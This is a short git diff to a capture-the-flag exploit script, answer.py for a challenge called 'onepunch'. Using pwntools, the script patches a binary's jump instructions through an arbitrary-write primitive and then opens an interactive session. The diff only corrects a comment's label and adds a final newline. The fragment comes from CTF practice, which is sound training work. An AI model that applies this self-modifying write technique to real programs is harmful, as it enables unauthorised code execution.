diff --git a/arbitrary-write/onepunch/answer.py b/arbitrary-write/onepunch/answer.py index ef363af..64e301b 100644 --- a/arbitrary-write/onepunch/answer.py +++ b/arbitrary-write/onepunch/answer.py @@ -16,7 +16,7 @@ gdb_command = """ time.sleep(1) p.recvuntil("Where What?") -# Change 0x400767: jnz short loc_400778 to jnz short loc_40071D +# Change 0x400767: jnz short loc_400773 to jnz short loc_40071D p.sendline("400768 180") p.recvuntil("Where What?") # Change 0x400767: jnz short loc_40071D to jmp short loc_40071D @@ -36,4 +36,4 @@ p.sendline("400767 117") p.recvuntil("Where What?") # Exit Loop p.sendline("601061 255") -p.interactive() \ No newline at end of file +p.interactive()